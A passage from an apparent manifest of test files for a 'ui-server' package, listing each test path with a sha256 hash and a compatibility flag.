"packages/ui-server/tests/activity-recorder.test.ts":{"sha256":"392e505542ae04beb908bf774789be8f2194c960612de44ab3a7bb347fb86ca8","compatible":true}, - "packages/ui-server/tests/activity-rollup-rounding.test.ts":{"sha256":"edbe1d785a16743560a954dfdc3eb7f6f298647bd2e4df5d11cf3922de494bbb","compatible":true}, - "packages/ui-server/tests/activity-runtime.test.ts":{"sha256":"6310aea494ee4a61969cd12082a674e3b77cacbc1fc25e4d605704e5b0594f8e","compatible":true}, - "packages/ui-server/tests/activity-snapshot-consistency.test.ts":{"sha256":"ad4f1134e705078cca176a108817e4b402f8772c8273bfa17f5539de4099ed38","compatible":true}, - "packages/ui-server/tests/activity-stats.test.ts":{"sha256":"e8b144e76b59a1e7374bb90bc66a1f911a7addf549dc70e204f9a7428954d929","compatible":true}, - "packages/ui-server/tests/activity-store.test.ts":{"sha256":"708e6192c502afe5b94d3bf73585b7e1f02d6765518f74cec0ffbb40ef5ffdb4","compatible":true}, - "packages/ui-server/tests/activity-sweep.test.ts":{"sha256":"20263a48db9cc787db8bdd52431401e5170ad74d5528e56420ab0c39bfb1890d","compatible":true}, - "packages/ui-server/tests/admission-sub-phases.test.ts":{"sha256":"0678046dec74edfe4a659448ceaa9a223d041f2bbe43881c8903931b0df92d3b","compatible":true}, - "packages/ui-server/tests/apify-authority.test.ts":{"sha256":"fd4e25fae86d5c634285b5c503bb151f18050b24e1477c46244bcb8ff124e429","compatible":true}, - "packages/ui-server/tests/apify-consent.test.ts":{"sha256":"64700daf2039250741a41ecd05cf3b12779b148c90667ecab8dbf14a69d1da32","compatible":true}, - "packages/ui-server/tests/apify-front-doors.test.ts":{"sha256":"29ab6a4303c8d36b74b0311273db963859711a406512ef0503090f3a30cef246","compatible":true}, - "packages/ui-server/tests/apify-pi-worker.test.ts":{"sha256":"1c18706d07bb2304502a5275629d111e5b92887d537fdccad57eacc57494619a","compatible":true}, - "packages/ui-server/tests/apify-robots.test.ts":{"sha256":"707be46893ee8514bed9f8e0ffe138d7dbf7ce6a50dcbb5aca9556d43263e2cc","compatible":true}, - "packages/ui-server/tests/apify-runs.test.ts":{"sha256":"f282d26c28329547d939a242b5d1da83929186e0a64efbebe40f87cd62544eec","compatible":true}, - "packages/ui-server/tests/apify-settings.test.ts":{"sha256":"fe416480544ddf2f8697e15271d6ed9be78d10b77015ad1760b4d8be5bfc7711","compatible":true}, - "packages/ui-server/tests/apify-turn-budgets.test.ts":{"sha256":"761355ed76bbd7bdc3f2576c0728ca139199e7c70d300e86f55f5e2e2f6167b2","compatible":true}, - "packages/ui-server/tests/app-http-drain-runtime.test.ts":{"sha256":"c23e893deb88f2a13f06829b6ef6959e383677b672a5eca47113243eb9fee420","compatible":true}, - "packages/ui-server/tests/app-http-drain.test.ts":{"sha256":"c8278c5e83db92728e81663a0c394373631ea86ed9b3ae3eb11a9f0105b6cad3","compatible":true}, - "packages/ui-server/tests/app-metadata-cancellation.test.ts":{"sha256":"2600a545620c32e65d5d118d40c6bd183e0a5c4bf9ffa3b3322c55b56bfdeccb","compatible":true}, - "packages/ui-server/tests/app-native-cleanup.test.ts":{"sha256":"d924726d989c28e3009143a05b085844574abeb1310bfbf60ad1b5250e1752b1","compatible":true}, - "packages/ui-server/tests/app-state-isolation.test.ts":{"sha256":"ba03602ff3fb0da91d3d69fa8ec9dfb7e9c42be8699bbd9db26674195b5cda03","compatible":true}, - "packages/ui-server/tests/app-wiring.test.ts":{"sha256":"d466594f38b5f886295a63eb2b2a87c234660041f25a159e17a047bd1eb1cb29","compatible":true}, - "packages/ui-server/tests/app-write-guard.test.ts":{"sha256":"caefc6a8ccea306cc00fedc68013bb1420a47cacee5396c519357439bc8e1bd0","compatible":true}, - "packages/ui-server/tests/app-writer-cleanup.test.ts":{"sha256":"050902cb0a48bf44aa01eb39e1a5c4a50e9c5f1ef7a4e233089039699fd15408","compatible":true}, - "packages/ui-server/tests/app-writes-offloop.test.ts":{"sha256":"c10694e8004a2f6d071cb3cf5a399e9512a96700b71775d985fd54edb8f35d8c","compatible":true}, - "packages/ui-server/tests/application-index-batch.test.ts":{"sha256":"dbdbe2b4986856399a7b1041f3d056fb1539b38b7e7c255bf9d2dc5933a57ca8","compatible":true}, - "packages/ui-server/tests/application-index-timing.test.ts":{"sha256":"d8a343a8486a2884d28a0a232046561a80bacfff9a4afeaad26b7ef542e1cbb1","compatible":true}, - "packages/ui-server/tests/approval-scope-isolation.test.ts":{"sha256":"f2b6640b262f09e3d85d3591c15dc09783b7d0d134d91f02c83ba96a1ee174ae","compatible":true}, - "packages/ui-server/tests/approval-session-binding.test.ts":{"sha256":"9c5f8de9e75eafbb2b25ac9ac485d100582543f8c6afa686c08c4825c9d884dd","compatible":true}, - "packages/ui-server/tests/attachment-detect.test.ts":{"sha256":"bee528c00ddd39d7b9f1e0bac29e4966006e626a6e3dc40e4066bf959cc4990d","compatible":true}, - "packages/ui-server/tests/attachment-extract.test.ts":{"sha256":"a21898fe29d2a120ef48dc5144a167e7d4b8ea77adf5e0f2437478f8467aa4ea","compatible":true}, - "packages/ui-server/tests/attachment-ownership.test.ts":{"sha256":"b8bf1a7a6a23ea30d2b61290c777d47007b250a20fbce864876adbecb27ba64e","compatible":true}, - "packages/ui-server/tests/attachment-read-tool.test.ts":{"sha256":"fc21934288900b77947b91913b72532dc50c64eaf42a7b0e82a18574173bd7bc","compatible":true}, - "packages/ui-server/tests/attachment-reads-delivery.test.ts":{"sha256":"ec046204d7d89fdc6a2fb3518de4c90ca9201da15fc7bade161779d3f37816e6","compatible":true}, - "packages/ui-server/tests/attachment-routes.test.ts":{"sha256":"15155a2c04675cf8b27df299bb61e9026986986fb3ff0ebbd220c1c1b6ea63b4","compatible":true}, - "packages/ui-server/tests/attachment-sweep.test.ts":{"sha256":"6ae1c139fa5e3cb8265b340029ace0b8bc772c9618c14ddf39654ae07a46c24c","compatible":true}, - "packages/ui-server/tests/auth.test.ts":{"sha256":"c6c52071d4017ce7c9ea7fa016bde6216d5913c6a993c7e4c5931aa3d5612ab6","compatible":true}, - "packages/ui-server/tests/authority-hold.test.ts":{"sha256":"d2e281802e7db75c01f5d216767cf4b9907bfadaa979c67d18c09739a0bbf3e7","compatible":true}, - "packages/ui-server/tests/automatic-index-requeue.test.ts":{"sha256":"f8e222392a08be47db9aa05d56a658cfd7eefd63b83c6bcac5466889ee8ed263","compatible":true}, - "packages/ui-server/tests/autonomous-provider-masks.test.ts":{"sha256":"117faecc0359b2c96b5d6064347227808358efa00c1606f7a86990f7af439dea","compatible":true}, - "packages/ui-server/tests/autonomous-thread-provenance.test.ts":{"sha256":"996110dd5165c98765e199b03036ebb9ed13d6962c43adea90be6b6e4eafdc21","compatible":true}, - "packages/ui-server/tests/autonomous-turn.test.ts":{"sha256":"ac8746cbfc297e705a3ebcd333479c89d733df74616e23ebfa452790bd8aa5a9","compatible":true}, - "packages/ui-server/tests/backend-boot.test.ts":{"sha256":"52b8eb920c311e500f6189738d5f59617b87c5a0a007df1e0cfa40bb5366704d","compatible":true}, - "packages/ui-server/tests/backend-host-exec.test.ts":{"sha256":"58fd8a46a06b1a6207d1d7039859a8925ca7ca0d0dff12f189a7672d7c1f22b0","compatible":true}, - "packages/ui-server/tests/backend-registry.test.ts":{"sha256":"912ec1ed89f750fbb4529b183cc763260312040169103b2ec7c667c6453e96b1","compatible":true}, - "packages/ui-server/tests/backend-startup-timing.test.ts":{"sha256":"8f7aa283b58caecaa9ff47c109fecc1c3732c605b7a324de9f42affb1a0c74a5","compatible":true}, - "packages/ui-server/tests/boot-probe-deadline.test.ts":{"sha256":"64a96c07ba2f27887e58403b86686de8e984bc67282023bd0820f9d10559f4b1","compatible":true}, - "packages/ui-server/tests/brain-application-adapters.test.ts":{"sha256":"6ce2ff6dc41ca12ae7c447849e0f07133bd50541d28ccd63c1c87631b74215e2","compatible":true}, - "packages/ui-server/tests/brain-application.test.ts":{"sha256":"7722c04785d8e3450410217fe1c34ca550748cae328c621c0ac7d1c7d8e85787","compatible":true}, - "packages/ui-server/tests/brain-client.test.ts":{"sha256":"1674b30d16f99bccb3384163059c896b9277e935ead3bd7cf121d1f965655b54","compatible":true}, - "packages/ui-server/tests/brain-markup-application.test.ts":{"sha256":"8daf805159df1f4a8df379e0c8fcf05bfad90d856078aec1d1162ab321bd913d","compatible":true}, - "packages/ui-server/tests/brain-mask-application.test.ts":{"sha256":"935d0a93eeddbb7217f96b01a2072a8acc2bd569530b03999c7fe2defeb40426","compatible":true}, - "packages/ui-server/tests/brain-sse-terminal.test.ts":{"sha256":"dd49398036c36824bccb06dee666b08a9b1401a27fec08cf46a4955205a80250","compatible":true}, - "packages/ui-server/tests/bridge-capabilities.test.ts":{"sha256":"5b4e986298008aaa1fade9a8788d5aa543ca7c35028acbcc9c578ee26ff55aa1","compatible":true}, - "packages/ui-server/tests/bundled-claude.test.ts":{"sha256":"cfd3a02fad82c8d91ae011550f9687dc8d6f777fb4b7dd608260ef28312f1da5","compatible":true}, - "packages/ui-server/tests/cache-diagnostics.test.ts":{"sha256":"d7cff5b554ae00d27bfffef786570fba53b3be104c354ff3d55c4b8029e196f5","compatible":true}, - "packages/ui-server/tests/capture-outcome.test.ts":{"sha256":"ccc7fa00d92f78d7e648b47d380c49f962c0373603c44a828efdfbffe7d4fa9b","compatible":true}, - "packages/ui-server/tests/chat-deletion-http.test.ts":{"sha256":"4a1d92da4cf8adf03b356d2bfce17dc913d37141de16b302f6894772fb5372f4","compatible":true}, - "packages/ui-server/tests/chat-deletion.test.ts":{"sha256":"e54c7092aad9c73cab86dc69de7271727d148c5c1cefb77277b34aec10cbb145","compatible":true}, - "packages/ui-server/tests/chat-lifecycle.test.ts":{"sha256":"ac7fe7c90fb2060905244faf71a4296c40a61a62d9c64eeb69980e15dd9bd9c4","compatible":true}, - "packages/ui-server/tests/chat-session-owner.test.ts":{"sha256":"65ad52decbe10e5df77770f9856986054b908a4d087456a948de20df36531174","compatible":true}, - "packages/ui-server/tests/classification.test.ts":{"sha256":"7a29f6d68f6221dd08447f32393dcd90c5415aa217492296fb8209ae1233f289","compatible":true}, - "packages/ui-server/tests/claude-cancellation.test.ts":{"sha256":"d7cab7fc56e83d079efd001a96ad5c8593cc6513cd5c1a6e5097943d9905ef93","compatible":true}, - "packages/ui-server/tests/claude-effort-models.test.ts":{"sha256":"510107fa434ed200f0cd084d11fad9bb7183b09cb005d9fcf7927d970235a439","compatible":true}, - "packages/ui-server/tests/claude-memory-journal.test.ts":{"sha256":"3b7ae895ed26a434796170aeeeef8e3fd410010f9923efa54df4324eea770da6","compatible":true}, - "packages/ui-server/tests/claude-title-accounting.test.ts":{"sha256":"23915f51946f07faacac6ec3d52430b498a3722bb05bd6a07d289fbac471d7d9","compatible":true}, - "packages/ui-server/tests/claude-usage-accounting.test.ts":{"sha256":"b4a5189c27d931c235b3909e6e382e624274127163957a357b3d6d777d7dccf2","compatible":true}, - "packages/ui-server/tests/cli-inventory.test.ts":{"sha256":"0207be5d6eba6ecf95eff3ef3f4f95daecbf48a31d009d1ab641faf21a1e27b1","compatible":true}, - "packages/ui-server/tests/client-turn-completion.test.ts":{"sha256":"f401f1c0edc10e33cea62f18acf2dc25f6926f5fd778443338677d6ac2891e7a","compatible":true}, - "packages/ui-server/tests/client-turn-isolation.test.ts":{"sha256":"46eb4155d3a169ff183d621fcd6159c2d37c6970c94dfcb381f230d5de981c12","compatible":true}, - "packages/ui-server/tests/client-turn-read-snapshot.test.ts":{"sha256":"cde0ee1e6e8ce4e023bdf20446e6fa68fda44472106ca40f02f235be822a094b","compatible":true}, - "packages/ui-server/tests/client-turn-receipt.test.ts":{"sha256":"e44e914a9254bbb1cee8e279afa35fe45f1e2878324788ffb138750bacbe0832","compatible":true}, - "packages/ui-server/tests/client-turn-stream-race.test.ts":{"sha256":"a42c12b3e75b6beb4a06db8722e057cf1c4cb130e24c837c5a6cbe1bef6873d6","compatible":true}, - "packages/ui-server/tests/close-cancels-shared-runs.test.ts":{"sha256":"49e7532a6abbc3333bd494091d48564de6845412e08e1dcb04f72a0797f9a48c","compatible":true}, - "packages/ui-server/tests/closing-clock-regressions.test.ts":{"sha256":"402b5afb27270e41c87fa8c60729e921b1d305ee3f173d3c31934b8cb3a876d7","compatible":true}, - "packages/ui-server/tests/code-change-history-runtime.test.ts":{"sha256":"ee92b005080e4273d646eeae83e4635d14a42f5659ac83bfe9b7329b03e1ddea","compatible":true}, - "packages/ui-server/tests/code-change-receipt.test.ts":{"sha256":"f57e461ff72f5beb64baac6d9f01a0de025809da32e1bcdf4bf54d79746ffb21","compatible":true}, - "packages/ui-server/tests/combined-safety-review.test.ts":{"sha256":"c1078c35f7bd206217636ff3de3485a47133c43363f5b9c1adbd5739e19580ae","compatible":true}, - "packages/ui-server/tests/command-taint-recorder.test.ts":{"sha256":"132d8b85443c25cde5a5b814ec6a8309d92d0f14b23e6322f7c117efbe5a76f6","compatible":true}, - "packages/ui-server/tests/command-taint.test.ts":{"sha256":"9b10ff1c8f1de594a46d58e121bc5f0137ea3a8516aceee3001df4770ae40f73","compatible":true}, - "packages/ui-server/tests/compute-backend-paths.test.ts":{"sha256":"fbde5d565c022276716e344f5ea6860c849940b1e99e99f952c818a6afede846","compatible":true}, - "packages/ui-server/tests/compute-host.test.ts":{"sha256":"0ba48cd38cfddd5d877da61a7adb6d87fc1b8bbeaa7324b1f8c39fc09b0e8274","compatible":true}, - "packages/ui-server/tests/confirm-bash-env.test.ts":{"sha256":"cc2bdc1c415f11099def075000431619526354f9e5ff5cc4807fd7767bc0d9ee","compatible":true}, - "packages/ui-server/tests/containment-rows.test.ts":{"sha256":"0a657f710ae26a9d5707050809ec96925332848622d657820827c6700477633e","compatible":true}, - "packages/ui-server/tests/contextual-task-drain.test.ts":{"sha256":"d54b75fa1185447c0b6166847f4e95c0d4783f74ca4491219f4e94ef840b3271","compatible":true}, - "packages/ui-server/tests/conversation-history.test.ts":{"sha256":"0862b3dfed3c60ced9267908155bae8709c808705b1e6bf99d7c7e8504e74a2e","compatible":true}, - "packages/ui-server/tests/conversation-orientation.test.ts":{"sha256":"6dbec19acb4eaa950c1e50e50ef9280894c83da5c6037f6c6c875fb56b27d7df","compatible":true}, - "packages/ui-server/tests/conversation-storage.test.ts":{"sha256":"b884e37d7b4d03575eb5fe08a176f1d4eaada758eb8d5c72547d1439a560ea0c","compatible":true}, - "packages/ui-server/tests/core-queries.test.ts":{"sha256":"9b23eb82d6a817f1dbc913f8180e3ef9cc6302c6c7bea63d0df47b72c37a5121","compatible":true}, - "packages/ui-server/tests/credential-maintenance-exclusion.test.ts":{"sha256":"ccd5c77e11e4ad53c2463c55293078bb6bda14df80b56ebdf3c0425b323c4a34","compatible":true}, - "packages/ui-server/tests/cron-activity.test.ts":{"sha256":"d058e2f099838fed7f559c94a3ac4f39f2a49c98909984e926a20a2511070974","compatible":true}, - "packages/ui-server/tests/cron-bin.test.ts":{"sha256":"dadf29c72a1be4cafb47cd0f0029889acb8f9f18bf79a9b59a200135c1b1500f","compatible":true}, - "packages/ui-server/tests/cron-digest.test.ts":{"sha256":"e342013c163147d82bdd4dda1fb55086d14dae072c2ba8c87cbaba6b189bb053","compatible":true}, - "packages/ui-server/tests/cron-emit.test.ts":{"sha256":"da748b32fecec8c251a99d824ced123f07b2042244cb87d6a4af9bb41a974c8d","compatible":true}, - "packages/ui-server/tests/cron-maintain-provider-relay.test.ts":{"sha256":"de1772e94897ede250904e7668fbf32671b73bb25a5365b2a550e4763fc537cb","compatible":true}, - "packages/ui-server/tests/cron-module-discovery.test.ts":{"sha256":"4c885693113dd29a92a5b3b323a94cc7d284bbd25bd4f7e55af751002a10d284","compatible":true}, - "packages/ui-server/tests/cron-module-github-relay.test.ts":{"sha256":"c19fa9ec7fd173c90a46347ba6d600042f5be8965f561a6e156e314ed949af7c","compatible":true}, - "packages/ui-server/tests/cron-run-job.test.ts":{"sha256":"eb8b6d38d7be6266d4914fc03cf5f407d1d9c938b26197669cf091e13fb06acd","compatible":true}, - "packages/ui-server/tests/cron-scheduler.test.ts":{"sha256":"848fec13f0e43fe6a120978ba7d3f3093f8ecf45faf1d7a5839939b54e32ef6b","compatible":true}, - "packages/ui-server/tests/cron-scratch-prune.test.ts":{"sha256":"563ab25208ea74f11a44d23b795beca90ccb1c3e71130564c141f047be34e322","compatible":true}, - "packages/ui-server/tests/cron-sync.test.ts":{"sha256":"ca610c60003a36cdd926bea907393dc82efdab44703cb927177b83bd0d888cbc","compatible":true}, - "packages/ui-server/tests/db-migration-runner.test.ts":{"sha256":"8ec46ec28e66402bc9b06905df5515886c7a87bceef3dbde5c04f9eff9a7430d","compatible":true}, - "packages/ui-server/tests/db-startup-lock.test.ts":{"sha256":"22e89227cb8f4bb3c00b4a3d2e965a9036b416e572d7a9bdcca3b87b4daca2ea","compatible":true}, - "packages/ui-server/tests/db.test.ts":{"sha256":"68bcca249a160eab23edabcd07347c07a7704f870d58ac2972c2b8f59c40c406","compatible":true}, - "packages/ui-server/tests/declaration-surface.test.ts":{"sha256":"1f7ae2929731c36a466c46babe5927e010f7aed69f1352e137b9cfe12c3b745a","compatible":true}, - "packages/ui-server/tests/degraded-backend.test.ts":{"sha256":"94740e1cc5293ca4c54c47454044678e84a54caf498e93502ed3fa52e1e2b292","compatible":true}, - "packages/ui-server/tests/dialogue-account-ownership.test.ts":{"sha256":"3c6d286c867cd9a9d0672f3963d15061c091bca27701a715914cc4f12102d33f","compatible":true}, - "packages/ui-server/tests/dialogue-drain-deadline.test.ts":{"sha256":"61c741262bbfca8beeefb98ec1f970dcb4a1e075e568caa05242cc7588ffb90c","compatible":true}, - "packages/ui-server/tests/dialogue-owner-drain.test.ts":{"sha256":"9769e22769736d497432487856978834cb481f15f76e43ed481c2c9b9bd6adf8","compatible":true}, - "packages/ui-server/tests/dialogue-queue-adoption.test.ts":{"sha256":"a661b6012e64b2e394cc49c3593a06dfb9713944922ee5083d4f614595e56815","compatible":true}, - "packages/ui-server/tests/dialogue-storage.test.ts":{"sha256":"2c0a42e3cfc3b3b77bd81e349496a5a2f6ffb78a571575c764dd2d6f0d008018","compatible":true}, - "packages/ui-server/tests/draft-snapshots.test.ts":{"sha256":"9916829a62e1ac522b5b095da6db13aa221089d40e0871a691dd3155183da0d9","compatible":true}, - "packages/ui-server/tests/drafts-http.test.ts":{"sha256":"a60736e361f3db8bca64c6d1245e009e7f964ae9bd41744259b4be433fb91b62","compatible":true}, - "packages/ui-server/tests/drafts-send.test.ts":{"sha256":"05163b6a37fc27678d6b07899bd5a61eb09bc8c13f0c97046c8d759baa84267b","compatible":true}, - "packages/ui-server/tests/drafts-settings-offloop.test.ts":{"sha256":"fad648e91845b66136414dbd31d72fbc14cf364d8bcafd64d16a8bb3fd9f8adf","compatible":true}, - "packages/ui-server/tests/drafts-store.test.ts":{"sha256":"c6d047f0e516eb4604b1d6cc9416cfcd14d9a692b00ee04ccda89c0b95993826","compatible":true}, - "packages/ui-server/tests/egress-refusal-matrix.test.ts":{"sha256":"96e04ec10e9cb275c0944dc8cd9b5a5e0a7ea38647f13d19efff2fdbae0f97e4","compatible":true}, - "packages/ui-server/tests/env.test.ts":{"sha256":"92a8b6075db7c85a0cd18027302d016e58490d423b3a2943c5f45c610c059a3c","compatible":true}, - "packages/ui-server/tests/external-speech.test.ts":{"sha256":"504adaecf3775b1f38f63d6803e7790883097b3033d60666660dcb52d8a260e4","compatible":true}, - "packages/ui-server/tests/extraction-admission.test.ts":{"sha256":"4391144472bc2dab12ebaa6b911082f4134613cd03c3ff11cfad5c64997915b1","compatible":true}, - "packages/ui-server/tests/extraction-band-requalification.test.ts":{"sha256":"4be572c0b6d2426763f3e7eb03364b0b95945fd8d318ddaba6ef9fc8d00c7ed4","compatible":true}, - "packages/ui-server/tests/extraction-classifier-labelled.test.ts":{"sha256":"cc87579c5682c582b107907d1a9f26f4772e5cef42a1e5eee6df854e24545eea","compatible":true}, - "packages/ui-server/tests/extraction-judge.test.ts":{"sha256":"adebd48a0cfe6bc93c6d50a63590a57439cbdff08745be4f3c36948eaf9e1fb0","compatible":true}, - "packages/ui-server/tests/files-html-preview.test.ts":{"sha256":"0b4b9c18526b1c4b713ec4f645ba64e767e96afbc3be0724ee70872c1fea4402","compatible":true}, - "packages/ui-server/tests/files-raw-range.test.ts":{"sha256":"5587756858126710c8620f3d44af87e415d5590ee9d6fd26825322873ec01b58","compatible":true}, - "packages/ui-server/tests/files-walker.test.ts":{"sha256":"0f156c577d82b5c44c316fe51f67930c9dd9b6f9acfbfbbdae77102a0282f0c2","compatible":true}, - "packages/ui-server/tests/form-limits-config.test.ts":{"sha256":"9dbd04e2148cf362f50acc3c421444f8a63adc760cd5d68b84473cb435e9de03","compatible":true}, - "packages/ui-server/tests/frame-headers.test.ts":{"sha256":"2a54bda91eb9fa4923ed6269112b0dee2daee8d508dc33911001881223ad864b","compatible":true}, - "packages/ui-server/tests/frontmatter-data-only.test.ts":{"sha256":"da408d1cd0c93c1a6d2d555ac7d1b9ff11edaae34eead24f94a74e96f3a7fab6","compatible":true}, - "packages/ui-server/tests/gemini-conversation.test.ts":{"sha256":"2f4fe1a6d16bd11589525e5107be445949b41e5a12beb8ef777f04cf7f10a74e","compatible":true}, - "packages/ui-server/tests/gemini-speech.test.ts":{"sha256":"98cc5fa39d4ff58cdf0982331fa0aa2f294981abbdc4d5245baaa609375f5f6b","compatible":true}, - "packages/ui-server/tests/geo-config.test.ts":{"sha256":"586edcfb10840486454fa04d3c92266195ff5c9e0d416a5e084e87d05cad75c9","compatible":true}, - "packages/ui-server/tests/geo-route.test.ts":{"sha256":"c104d2ec200d0a2ae60e0b123705b706821cffbbdd34c0fbe9979657e01770f7","compatible":true}, - "packages/ui-server/tests/github-details.test.ts":{"sha256":"15fc6caac6549d339b7a33bc728f4c4664bb3dc3ddb4bec55a105204ce59c088","compatible":true}, - "packages/ui-server/tests/github-network-card.test.ts":{"sha256":"d704d327469e17bf4cd9bcd8cd8f522eff52e4a6af03471db0cf540ff713bf7d","compatible":true}, - "packages/ui-server/tests/github-reference-access.test.ts":{"sha256":"c325566bbaea41b00df57f14ea6e254914f9e320b3933874c08373392a07e5ad","compatible":true}, - "packages/ui-server/tests/github-reference-git.test.ts":{"sha256":"e4bca6724b9157026132b58548c56bbe0059c5d1874c8909a8915ebc6162e87b","compatible":false}, - "packages/ui-server/tests/github-reference-identity.test.ts":{"sha256":"51fe9b3fb3e7429a614ea5d9ccc6766aceb3e4fd3599878e8efb5f5eb59563b8","compatible":true}, - "packages/ui-server/tests/github-reference-wire.test.ts":{"sha256":"f05d3a3d18b1876c73f9397e4bbc27364316bb2de02f87cd2d3036696bfae5e9","compatible":true}, - "packages/ui-server/tests/github-tools-host.test.ts":{"sha256":"f7a48c0438bd744312a068f457dc64367a1ad2f5abd25d96e427897f19648bd4","compatible":true}, - "packages/ui-server/tests/github-write-tools.test.ts":{"sha256":"6870d337d218cab11a1ff20cd79b0c9c432e7c754782b30cd30dc6f2be9972eb","compatible":true}, - "packages/ui-server/tests/governance-events-http.test.ts":{"sha256":"d36efaf37a35769c16106d8cb41addc3b6b4636a04748b257b617b27860c828e","compatible":true}, - "packages/ui-server/tests/governance-events.test.ts":{"sha256":"66bc0938e55f623532828b4744534badb44e54b5f676de7b15776ae8e361e5bf","compatible":true}, - "packages/ui-server/tests/governance-policy-application.test.ts":{"sha256":"49575370a2dc119148620a9765b597f89e8842bb4a3bd2da70ac97d9b596b8ea","compatible":true}, - "packages/ui-server/tests/governance-policy.test.ts":{"sha256":"fa3fb5a60b8a801c05898782a4b80b9e050c7077875db39de3b7f738c6759c89","compatible":true}, - "packages/ui-server/tests/governance-roadblock-report.test.ts":{"sha256":"3e8fe8ee581308941c9c22ed485769e19d954b72f6e85b9f5ecc8d7c786c37bd","compatible":true}, - "packages/ui-server/tests/governance-roadblocks.test.ts":{"sha256":"4d9e11ac76f2e13280c60d78c557a931ec2aa38e5253b8f836e1c34ac66b7dba","compatible":true}, - "packages/ui-server/tests/governed-manifest.test.ts":{"sha256":"73e536da9f0494a8103796e01b85f5c1068f815272301f674be4460837c995f9","compatible":true}, - "packages/ui-server/tests/gpt-live-conversation.test.ts":{"sha256":"bef0e4bb725ecc79cf1efa265e57f39337cc8e25bbf3401d3d8163c2478a1a9a","compatible":true}, - "packages/ui-server/tests/graph-error-mapping.test.ts":{"sha256":"cceb860eea44178ecd4afdab362048eb34ae3b3019b3c0c2ab948d81f6adcf63","compatible":true}, - "packages/ui-server/tests/graph-routes.test.ts":{"sha256":"bff0252e4e1af440e3d39eb1d6f0c1760a9721264e6822ff999f4acd187b92f7","compatible":true}, - "packages/ui-server/tests/helpers/test-app.test.ts":{"sha256":"57c091b76cfb19b5911b375291e193d1fced067c5d739e928402f70ff6861057","compatible":true}, - "packages/ui-server/tests/host-capability-note.test.ts":{"sha256":"298ce73a5aad27388d92e5e53cc425e1c0731cee48e43d824c7a1a969a0231ed","compatible":true}, - "packages/ui-server/tests/host-execution-boundary.test.ts":{"sha256":"d1c9f47d04107374f783b7bcd0e04ef74df86565a270705b874f4124b6e2b4c8","compatible":true}, - "packages/ui-server/tests/host-fallback-folder-policy.test.ts":{"sha256":"28d59b28e59a2de3a9322ea9b1ca1a15ed52c22b14d8986b68261ceff0eb2b1e","compatible":false}, - "packages/ui-server/tests/host-fallback-gates.test.ts":{"sha256":"900abed3f2b5e526c6e8b866acc50bc262385babd10a0dbb33f9fc4500dc0cd7","compatible":true}, - "packages/ui-server/tests/host-fallback-transition.test.ts":{"sha256":"0da3e3cdc0e2856d666d9b7aaa4f31a11e055cb4430dc058342cda3bd8b44ee8","compatible":true}, - "packages/ui-server/tests/host-git-credentials.test.ts":{"sha256":"81b0f20f1e94f8f6775a2f2a58b863c2e44d2112cefb67a1ddac5548dd2af451","compatible":true}, - "packages/ui-server/tests/host-processes.test.ts":{"sha256":"5840f1477706692acc248d8c5bda27890df01990b98e9cf7e01b2ccad0bf7935","compatible":true}, - "packages/ui-server/tests/host-publication-safety.test.ts":{"sha256":"25383a63652a9c7216c374bbd2734112359a581e24b90a9f49d2a492de07d770","compatible":true}, - "packages/ui-server/tests/host-unpinned-folder-plan.test.ts":{"sha256":"1d9210daeda97a73b316c671dd1d0435c38d6ce642e3eb82f6a31e6cdbc45d3c","compatible":true}, - "packages/ui-server/tests/host-version-requirements.test.ts":{"sha256":"04d775fb3ff6c9bd8c4c84484100328105f593b6011b16804ae33b4f7da0f4fe","compatible":true}, - "packages/ui-server/tests/http-cli-errors.test.ts":{"sha256":"67fef4400ad9f8e436ea95c44dab53e051d73c0b07f377c790fad87dc03451a4","compatible":true}, - "packages/ui-server/tests/http-discovery-voice.test.ts":{"sha256":"d29c1f3af90ae170aa278999d2d0d74eee61447d3cbb1bd4a5915eb1aab4857d","compatible":true}, - "packages/ui-server/tests/http-index-queries.test.ts":{"sha256":"69787aacc52e8da212f05e15e9a50dd66625fe9c1ab2804948afd8a4176c96e8","compatible":true}, - "packages/ui-server/tests/http-internal-mounts.test.ts":{"sha256":"20c820680e6f9d3e16e94d15fbb71427d4e14be533fddad6e1a6e4b18624d814","compatible":true}, - "packages/ui-server/tests/http-inventory.test.ts":{"sha256":"095c7b61ccedd5160c226c2c922fb69bbb27891a26104b6b9b974c23a450052a","compatible":true}, - "packages/ui-server/tests/http-mount-pool.test.ts":{"sha256":"fba7bb8f5c62777f55ba84747695f4a583d2f2ca7faa3937b07f4b214f8d5b1a","compatible":true}, - "packages/ui-server/tests/http-mount-timers.test.ts":{"sha256":"f374a615391509696abc4a33a6db20c15c4dd67be801d65a70c6b9133d0431b1","compatible":true}, - "packages/ui-server/tests/http-object-bodies.test.ts":{"sha256":"528a26370840e8883a6a273a29fe155418d8f60788216aefdfaeaeea164f7777","compatible":true}, - "packages/ui-server/tests/http-principal-boundaries.test.ts":{"sha256":"5fc3c71a415c83209bd31b0343148308abf284c1c527c10f59d23697c1a328a0","compatible":true}, - "packages/ui-server/tests/http-supported-mounts.test.ts":{"sha256":"e668890da5f43b0825f065002f444955e8d28e554479dd1d5d560fcebc5ecf8a","compatible":true}, - "packages/ui-server/tests/http-validation.test.ts":{"sha256":"00234071b88092fc214523ab0dd2f37a43654887ae8439cb0b2175610fdd01e4","compatible":true}, - "packages/ui-server/tests/http-websocket-admission.test.ts":{"sha256":"b6a6b8a1d4a76095b6af56b938053349f536e24936973811613715f531b58ac5","compatible":true}, - "packages/ui-server/tests/hygiene-media-effects.test.ts":{"sha256":"0c399091ffa0459d460c1cc2ae81b53812bc2d4956bc76ffa9cec28f6387c58c","compatible":true}, - "packages/ui-server/tests/hygiene-review-media.test.ts":{"sha256":"ba7502e57f47f5f8279f7a9f225e265c65359d8a0e3f10cc7e1ad60f1ca8f0d6","compatible":true}, - "packages/ui-server/tests/hygiene-review.test.ts":{"sha256":"40a4acc8aaa9fee628edfea13a2a5953fde374ec26ada7def9470891e7a61f7d","compatible":true}, - "packages/ui-server/tests/inbox-bin.test.ts":{"sha256":"9730e4840ddff1d674f30d8e90dc684bb30f288a57e5a9319b96ca5049c6f6b6","compatible":true}, - "packages/ui-server/tests/inbox-bridge-tools.test.ts":{"sha256":"a2883d8dbf0e026772f4091ea869454b0cf692afaca44368d1416935102b06bd","compatible":true}, - "packages/ui-server/tests/inbox-budget.test.ts":{"sha256":"f04b02d60cbcbd1ab50a1c01eaeb06b66f5c8005a3e4a6e19d5b1b19e6bf1cb7","compatible":true}, - "packages/ui-server/tests/inbox-dispatch-ae.test.ts":{"sha256":"728651597383f4fc0c608a5f85b0770361fad83798a7cc681a3dd390117a6599","compatible":true}, - 